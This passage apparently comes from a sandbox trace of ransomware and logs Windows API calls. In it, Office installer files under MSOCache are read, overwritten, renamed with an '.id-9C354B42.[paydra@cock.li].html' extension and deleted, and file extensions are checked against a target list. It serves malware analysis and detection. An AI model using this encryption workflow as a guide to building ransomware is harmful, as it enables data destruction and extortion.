lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.471] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.471] WriteFile (in: hFile=0x218, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.474] CloseHandle (hObject=0x218) returned 1 [0043.474] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0043.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.474] lstrlenW (lpString=".doc") returned 4 [0043.474] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.474] lstrlenW (lpString=".docx") returned 5 [0043.474] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.474] lstrlenW (lpString=".pdf") returned 4 [0043.475] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.475] lstrlenW (lpString=".xls") returned 4 [0043.475] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.475] lstrlenW (lpString=".xlsx") returned 5 [0043.475] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.475] lstrlenW (lpString=".ppt") returned 4 [0043.475] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString=".zip") returned 4 [0043.475] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.475] lstrlenW (lpString=".rar") returned 4 [0043.475] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.475] lstrlenW (lpString=".bz2") returned 4 [0043.475] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.475] lstrlenW (lpString=".7z") returned 3 [0043.475] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString=".dbf") returned 4 [0043.475] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString=".1cd") returned 4 [0043.475] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString=".jpg") returned 4 [0043.475] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.475] lstrlenW (lpString=".doc") returned 4 [0043.475] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.475] lstrlenW (lpString=".docx") returned 5 [0043.475] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.475] lstrlenW (lpString=".pdf") returned 4 [0043.475] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.476] lstrlenW (lpString=".xls") returned 4 [0043.476] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.476] lstrlenW (lpString=".xlsx") returned 5 [0043.476] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.476] lstrlenW (lpString=".ppt") returned 4 [0043.476] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.476] lstrlenW (lpString=".zip") returned 4 [0043.476] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.476] lstrlenW (lpString=".rar") returned 4 [0043.476] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.476] lstrlenW (lpString=".bz2") returned 4 [0043.476] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.476] lstrlenW (lpString=".7z") returned 3 [0043.476] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.476] lstrlenW (lpString=".dbf") returned 4 [0043.476] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.476] lstrlenW (lpString=".1cd") returned 4 [0043.476] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0043.476] lstrlenW (lpString=".jpg") returned 4 [0043.476] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.476] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0043.476] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0043.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.477] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2507776) returned 1 [0043.477] CloseHandle (hObject=0x218) returned 1 [0043.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0043.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.477] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0043.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.478] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.478] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.478] ReadFile (in: hFile=0x218, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.662] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.662] ReadFile (in: hFile=0x218, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.669] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.669] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.669] ReadFile (in: hFile=0x218, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.686] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.686] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0043.981] SetEndOfFile (hFile=0x218) returned 1 [0043.981] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.985] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.985] WriteFile (in: hFile=0x218, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.994] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.994] WriteFile (in: hFile=0x218, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.000] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.000] WriteFile (in: hFile=0x218, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.003] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0044.003] CloseHandle (hObject=0x218) returned 1 [0044.003] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.003] lstrlenW (lpString=".doc") returned 4 [0044.003] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.003] lstrlenW (lpString=".docx") returned 5 [0044.003] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.003] lstrlenW (lpString=".pdf") returned 4 [0044.003] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.003] lstrlenW (lpString=".xls") returned 4 [0044.003] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.003] lstrlenW (lpString=".xlsx") returned 5 [0044.003] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.003] lstrlenW (lpString=".ppt") returned 4 [0044.003] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString=".zip") returned 4 [0044.004] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.004] lstrlenW (lpString=".rar") returned 4 [0044.004] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.004] lstrlenW (lpString=".bz2") returned 4 [0044.004] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.004] lstrlenW (lpString=".7z") returned 3 [0044.004] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString=".dbf") returned 4 [0044.004] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString=".1cd") returned 4 [0044.004] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString=".jpg") returned 4 [0044.004] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.004] lstrlenW (lpString=".doc") returned 4 [0044.004] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.004] lstrlenW (lpString=".docx") returned 5 [0044.004] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.004] lstrlenW (lpString=".pdf") returned 4 [0044.004] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.004] lstrlenW (lpString=".xls") returned 4 [0044.004] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.004] lstrlenW (lpString=".xlsx") returned 5 [0044.004] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.004] lstrlenW (lpString=".ppt") returned 4 [0044.005] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.005] lstrlenW (lpString=".zip") returned 4 [0044.005] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.005] lstrlenW (lpString=".rar") returned 4 [0044.005] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.005] lstrlenW (lpString=".bz2") returned 4 [0044.005] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.005] lstrlenW (lpString=".7z") returned 3 [0044.005] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.005] lstrlenW (lpString=".dbf") returned 4 [0044.005] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.005] lstrlenW (lpString=".1cd") returned 4 [0044.005] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.005] lstrlenW (lpString=".jpg") returned 4 [0044.005] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.005] lstrcmpiW (lpString1=".manifest", lpString2=".html") returned 1 [0044.005] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0044.005] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.428] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1857) returned 1 [0044.428] CloseHandle (hObject=0x160) returned 1 [0044.428] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0044.428] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.428] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.429] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.429] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.429] GetLastError () returned 0x0 [0044.429] ReadFile (in: hFile=0x160, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x741, lpOverlapped=0x0) returned 1 [0044.434] WriteFile (in: hFile=0x20c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x750, lpOverlapped=0x0) returned 1 [0044.435] ReadFile (in: hFile=0x160, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.435] WriteFile (in: hFile=0x20c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0044.435] SetEndOfFile (hFile=0x20c) returned 1 [0044.435] CloseHandle (hObject=0x20c) returned 1 [0044.436] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.436] SetEndOfFile (hFile=0x160) returned 1 [0044.436] CloseHandle (hObject=0x160) returned 1 [0044.436] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.437] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0044.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.437] lstrlenW (lpString=".doc") returned 4 [0044.437] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString=".docx") returned 5 [0044.437] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.437] lstrlenW (lpString=".pdf") returned 4 [0044.437] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString=".xls") returned 4 [0044.437] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString=".xlsx") returned 5 [0044.437] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.437] lstrlenW (lpString=".ppt") returned 4 [0044.437] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.437] lstrlenW (lpString=".zip") returned 4 [0044.437] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString=".rar") returned 4 [0044.437] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.437] lstrlenW (lpString=".bz2") returned 4 [0044.438] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".7z") returned 3 [0044.438] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString=".dbf") returned 4 [0044.438] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString=".1cd") returned 4 [0044.438] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString=".jpg") returned 4 [0044.438] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString=".doc") returned 4 [0044.438] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".docx") returned 5 [0044.438] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0044.438] lstrlenW (lpString=".pdf") returned 4 [0044.438] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".xls") returned 4 [0044.438] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".xlsx") returned 5 [0044.438] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0044.438] lstrlenW (lpString=".ppt") returned 4 [0044.438] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.438] lstrlenW (lpString=".zip") returned 4 [0044.438] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".rar") returned 4 [0044.438] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0044.438] lstrlenW (lpString=".bz2") returned 4 [0044.439] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0044.439] lstrlenW (lpString=".7z") returned 3 [0044.439] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0044.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.439] lstrlenW (lpString=".dbf") returned 4 [0044.439] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0044.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.439] lstrlenW (lpString=".1cd") returned 4 [0044.439] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0044.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0044.439] lstrlenW (lpString=".jpg") returned 4 [0044.439] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0044.439] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.439] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0044.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.439] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3702272) returned 1 [0044.439] CloseHandle (hObject=0x160) returned 1 [0044.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all 